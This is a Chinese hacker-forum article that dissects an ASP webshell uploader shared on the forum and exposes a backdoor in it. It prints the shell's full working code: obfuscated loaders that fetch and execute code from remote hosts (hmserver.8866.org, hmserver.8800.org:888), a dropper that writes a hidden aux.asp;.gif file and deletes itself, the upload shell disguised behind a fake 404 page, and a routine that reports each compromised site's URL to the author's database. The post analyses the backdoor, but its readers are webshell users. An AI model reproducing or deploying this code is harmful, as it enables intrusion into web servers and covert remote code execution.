|
前言:先是到我们暗组论坛看到如下帖子《黑站必备-超强隐藏后门。ASP无敌上传器》,并有人回复说有个域名不知道干什么用的,由于好奇心就下载来看并有了下面的文章。 图1 帖子内容
不看不知道一看吓一跳,这脚本不但高级而且最后还有一手,留了一个后门! 为什么说他高级?因为他用的一些技巧从来没见过,使用了SQL Server+Microsoft.XMLHTTP+404错误页面伪装,让代码可以远程动态获取和多次执行,如果使用者调用小马错误还返回一个200错误号的404错误页面囧!这样小黑以为刚刚上传的小马被杀了,这样也就给了他一个利用后门的机会。起码小黑不会帮他把这个小马删了,至于最后怎么正确调用请继续看往下看嘿。
下面是作者提供的小马后门:
<%password="123456" '这里123456换成您的密码,密码只能为英文或数字%> <%'无%> <%'敌%> <%'上%> <%'传%> <%'器%> <%BY01="hmserver"%> <%BY02="8866"%> <%BY03="org"%> <%BYJH="."%> <%CODE="888"%> <%BYLJ1="provider=sqloledb;"%> <%BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"%> <%BYLJ3="uid="&CODE&";"%> <%BYLJ4="pwd="&CODE&";"%> <%BYLJ5="database="&CODE&";"%> <%Set amconn=Server.CreateObject("ADODB.Connection")%> <%amconn.open BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5%> <%sqlam="select * from code"%> <%set rsam=amconn.execute(sqlam)%> <%amtxt=rsam("txt")%> <%amtxt=replace(amtxt,"amsql=""password""","amsql="""&password&"""")%> <%execute(amtxt)%> <%rsam.close%> <%set rsam=nothing%> <%amconn.close%> <%set amconn=nothing%>
仔细看看上面已经有域名,也就是后面帖子为什么说有的原因了(太明文了)。判断是不是数据库操作我们只要看这个“ADODB.Connection”或 “select * from code”前者是创建一个ADO操作数据库的连接,后者则是操作数据库的SQL语句,那小黑就要问了,如何发现最后的秘密呢? 下面我们有两种方法:1.利用抓包软件在服务器(执行ASP那端)上运行抓包看明文;2.自己通过SQL查询分析器连接过去执行SQL语句查询,如图2、3所示,连接帐号、密码、数据库都是888,查询分析器复制的内容不完整可能跟数据类型有关系,查询分析器不能完全显示,大家通过SQL企业管理器查看就完整了。如果大家觉得太麻烦或者没安装SQL Server完整版,那就用下面方法吧。如图4,找一款Sniffer嗅探软件进行数据包抓捕就可以看到所传输的代码,好处是移动方便完全绿色。
图2连接SQL服务器
图3执行SQL语句
图4抓到的数据包
抓包的代码如下:复制内容到剪贴板代码: amsql="password" BY01="http" BY02="hmserver" BY03="8800" BY04="org" BYXG="/" BYJH="." BYMH=":" BYQZ="sql_" BYHZ="sc.txt" BYDK="888" BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ Set amxml = Server.CreateObject("MSXML2.ServerXMLHTTP") amxml.open "GET",BYURL,false amxml.send() amtxt=amxml.responseText amtxt=replace(amtxt,"amsc=""password""","amsc="""&password&"""") execute(amtxt)上面的代码没什么意思,就一个利用XMLHTTP的下载的方法。我们在继续跟找到sql_sc.txt的代码:复制内容到剪贴板代码: amsc="password" BYAM="http://hmserver.8800.org:888/hk_" Function GetUrl() ScriptAddress=CStr(Request.ServerVariables("SCRIPT_NAME")) Servername=CStr(Request.ServerVariables("Server_Name")) findfilename=right(ScriptAddress,len(ScriptAddress)-instrrev(ScriptAddress,"/")) GetUrl="http://"& Servername & ScriptAddress Geturl=replace(Geturl,findfilename,"") End Function Function GetBody(Url) Dim objXML On Error Resume Next Set objXML=CreateObject("Microsoft.XMLHTTP") With objXML .Open "Get", Url, False, "", "" .Send GetBody=.ResponseBody End With GetBody=BytesToBstr(GetBody,"GB2312") Set objXML=Nothing End Function Function BytesToBstr(strBody,CodeBase) dim objStream set objStream=Server.CreateObject("Adodb.Stream") objStream.Type=1 objStream.Mode=3 objStream.Open objStream.Write strBody objStream.Position=0 objStream.Type=2 objStream.Charset=CodeBase BytesToBstr=objStream.ReadText objStream.Close set objStream=nothing End Function Function WriteFile(StrContent,Foldername,fileExt,fname) dim myfos,TheFile,Filename,TheFolder,ThefileExt Set myfos=Server.CreateObject("Scripting.FileSystemObject") TheFolder ="./" ThefileExt=".txt" If Foldername<>"" Then TheFolder=Foldername If ThefileExt<>"" Then ThefileExt=fileExt TheFolder=Server.MapPath(TheFolder) If myfos.FolderExists(TheFolder)=False Then myfos.CreateFolder(TheFolder) End If If fname="" Then Filename =Replace(Cstr(time()),":",".") Else Filename=fname End If TheFile="\\.\"&TheFolder & "\" & Filename & ThefileExt set fs=Server.CreateObject("Scripting.FileSystemObject") IF fs.FileExists(TheFile) then response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>" Else Set ff=fs.CreateTextFile(TheFile) set ff=nothing response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>" END IF set f=fs.GetFile(TheFile) f.Attributes=0 Set mytxt=myfos.OpenTextFile(TheFile,2,True) mytxt.Write StrContent f.Attributes=1+2+4 If err.number<>0 Then WriteFile=0 End If mytxt.close set f=nothing set fs=nothing set myfos=nothing set mytxt=nothing End Function aux=GetBody(BYAM&"asp.txt") aux=replace(aux,"amasp=""password""","amasp="""&amsc&"""") CALL WriteFile(aux,"",".gif","aux.asp;") scname=Request.ServerVariables("script_name") postion=InstrRev(scname,"/")+1 scname=Mid(scname,postion) If InStr(scname,"?")>0 Then arrName=scname arrName=Split(arrName,"?") scname=arrName(0) End If s=Server.MapPath(scname) Set fso=CreateObject("Scripting.FileSystemObject") If fso.FileExists(s) Then fso.Deletefile(s) End If Set fso=Nothing这段就是写小马的核心部分了,操作大概意思是在通过XMLHTTP下载将最后的小马代码,保存到服务器上文件名为:aux.asp;.gif(不知道作者为什么要这样取名,如果他是 Win2000系统呢那不是执行不起来?),代码我就简单分析到这里,下面继续跟hk_asp.txt文件由于这代码跟抓包的一样也是XMLHTTP下载 “hk_aux.txt”,这里我就直接贴hk_aux.txt的代码了:复制内容到剪贴板代码: amaux="password" if request("password")=amaux then session(amaux)="ok" else session(amaux)="no" end if if session(amaux)="ok" then Response.write("<title>ASP无敌上传器</title>") on error resume next testfile=Request.form("N") msg=Request.form("M") set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine(""&msg& "") thisfile.close set fs = nothing Response.write("<form method=""POST"" ACTION="""">") Response.write("<input type=""text"" size=""40"" name=""N"" value="&server.mappath("/")&"\新建文件名.asp>") Response.write("<input type=""submit"" name=""Send"" value=""无敌上传"" class=input><BR>") Response.write("<textarea name=M cols=50 rows=7 width=15></textarea>") Response.write("</form>")
Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Url End Function geturl=LCASE(GetLocationURL()) BY01="hmserver" BY02="8866" BY03="org" BYJH="." CODE="url" BYLJ1="Driver={SQL Server};" BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";" BYLJ3="uid="&CODE&";" BYLJ4="pwd="&CODE&";" BYLJ5="database="&CODE&";" set rs=server.CreateObject("adodb.recordset") conn=""&BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5&"" sql="select * from url where url='"&geturl&"'" rs.open sql,conn,1,3 if rs.bof and rs.eof then rs.addnew rs("url")=geturl rs.update rs.close conn.close set rs=nothing set conn=nothing end if
Response.write "请记住完整安全地址,只有完整才能登陆<br>"&geturl response.end else Response.Write "<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http://www.w3.org/TR/html4/strict.dtd"">" Response.Write "<HTML><HEAD><TITLE>无法找到该页</TITLE>" Response.Write "<META HTTP-EQUIV=""Content-Type"" Content=""text/html; charset=GB2312"">" Response.Write "<STYLE type=""text/css""> " Response.Write " BODY { font: 9pt/12pt 宋体 }" Response.Write " H1 { font: 12pt/15pt 宋体 }" Response.Write " H2 { font: 9pt/12pt 宋体 }" Response.Write " A:link { color: red }" Response.Write " A:visited { color: maroon }" Response.Write "</STYLE>" Response.Write "</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" Response.Write "<h1>无法找到该页</h1>" Response.Write "您正在搜索的页面可能已经删除、更名或暂时不可用。" Response.Write "<hr>" Response.Write "<p>请尝试以下操作:</p>" Response.Write "<ul>" Response.Write "<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>" Response.Write "<li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。" Response.Write "</li>" Response.Write "<li>单击<a href=""javascript:history.back(1)"">后退</a>按钮尝试另一个链接。</li>" Response.Write "</ul>" Response.Write "<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>" Response.Write "<hr>" Response.Write "<p>技术信息(为技术支持人员提供)</p>" Response.Write "<ul>" Response.Write "<li>转到 <a href=""http://go.microsoft.com/fwlink/?linkid=1986"">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>" Response.Write "<li>打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>" Response.Write "</ul>" Response.Write "</TD></TR></TABLE></BODY></HTML>" Response.end end if以上代码就是他小马的精华部分了,而隐藏的后门也暴露在其中。小马调用方法“aux.asp;.gif?password=123456”,如果密码错误就输出伪造的404错误页面,其实标记200的谁看不出来,骗骗小黑还行。而后门就放在Function GetLocationURL()函数里,其实就是通过SQL将该后门地址“上报”,我们只要用SQL查询分析器查就能把他收集的所有Webshell地址列出来(部分首页被挂马),如图5,如果你耐心将整个流程看完,发现过程也没什么技术含量主要是要有耐心,作者使用了3次XMLHTTP如果你耐心不够,使无法发现其后门所在!
图5 所有收集的后门地址
如果在看他ASP代码发现部分使用变量分段不易读的,可以用如下代码进行组合:
复制内容到剪贴板
代码:
<% BY01="http" BY02="hmserver" BY03="8800" BY04="org" BYXG="/" BYJH="." BYMH=":" BYQZ="sql_" BYHZ="sc.txt" BYDK="888" BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
Response.Write(BYURL) '输出变量 %>
后记:小马也是可以带后门的,请大家以后使用脚本木马要注意查后门,防止被利用导致网站被恶意挂马,那我们就成帮凶了!
注:本文未投任何杂志社,如网络转载、参考内容编稿请注明出处暗组。
|